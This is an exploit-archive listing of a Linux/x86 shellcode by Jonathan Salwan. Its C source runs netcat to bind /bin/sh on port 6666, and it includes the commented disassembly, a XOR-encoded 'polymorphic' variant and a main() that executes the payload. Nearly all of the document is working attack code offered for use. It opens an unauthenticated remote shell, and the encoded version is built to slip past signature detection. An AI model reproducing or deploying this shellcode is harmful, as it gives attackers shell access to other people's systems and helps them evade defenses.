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Linux/x86 netcat Bindshell Shellcode

Linux/x86 netcat Bindshell Shellcode
Posted Apr 21, 2011
Authored by Jonathan Salwan

Linux/x86 /usr/bin/netcat -ltp6666 -e/bin/sh shellcode.

tags | x86, shellcode
systems | linux
MD5 | 38750e9392a3ac8fc60070750da9c73e

Linux/x86 netcat Bindshell Shellcode

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/*
** Title: Linux/x86 - netcat bindshell port 6666 - 69 bytes
** Date: 2011-04-20
** Author: Jonathan Salwan
**
** http://shell-storm.org
** http://twitter.com/#!/shell_storm
**
** /usr/bin/netcat -ltp6666 -e/bin/sh
**
** 8048054 <.text>:
** 8048054: 31 c0 xor %eax,%eax
** 8048056: 50 push %eax
** 8048057: 68 74 63 61 74 push $0x74616374
** 804805c: 68 6e 2f 6e 65 push $0x656e2f6e
** 8048061: 68 72 2f 62 69 push $0x69622f72
** 8048066: 68 2f 2f 75 73 push $0x73752f2f
** 804806b: 89 e3 mov %esp,%ebx
** 804806d: 50 push %eax
** 804806e: 68 36 36 36 36 push $0x36363636
** 8048073: 68 2d 6c 74 70 push $0x70746c2d
** 8048078: 89 e2 mov %esp,%edx
** 804807a: 50 push %eax
** 804807b: 68 6e 2f 73 68 push $0x68732f6e
** 8048080: 68 2f 2f 62 69 push $0x69622f2f
** 8048085: 66 68 2d 65 pushw $0x652d
** 8048089: 89 e1 mov %esp,%ecx
** 804808b: 50 push %eax
** 804808c: 51 push %ecx
** 804808d: 52 push %edx
** 804808e: 53 push %ebx
** 804808f: 89 e6 mov %esp,%esi
** 8048091: b0 0b mov $0xb,%al
** 8048093: 89 f1 mov %esi,%ecx
** 8048095: 31 d2 xor %edx,%edx
** 8048097: cd 80 int $0x80
**
*/


#include <stdio.h>
#include <string.h>

char SC[] = "\x31\xc0\x50\x68\x74\x63\x61\x74\x68\x6e\x2f"
"\x6e\x65\x68\x72\x2f\x62\x69\x68\x2f\x2f\x75"
"\x73\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
"\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
"\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
"\xd2\xcd\x80";


/* SC polymorphic - XOR 19 - 93 bytes */
char SC_ENC[] = "\xeb\x11\x5e\x31\xc9\xb1\x45\x80\x74\x0e"
"\xff\x13\x80\xe9\x01\x75\xf6\xeb\x05\xe8"
"\xea\xff\xff\xff\x22\xd3\x43\x7b\x67\x70"
"\x72\x67\x7b\x7d\x3c\x7d\x76\x7b\x61\x3c"
"\x71\x7a\x7b\x3c\x3c\x66\x60\x9a\xf0\x43"
"\x7b\x25\x25\x25\x25\x7b\x3e\x7f\x67\x63"
"\x9a\xf1\x43\x7b\x7d\x3c\x60\x7b\x7b\x3c"
"\x3c\x71\x7a\x75\x7b\x3e\x76\x9a\xf2\x43"
"\x42\x41\x40\x9a\xf5\xa3\x18\x9a\xe2\x22"
"\xc1\xde\x93";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}

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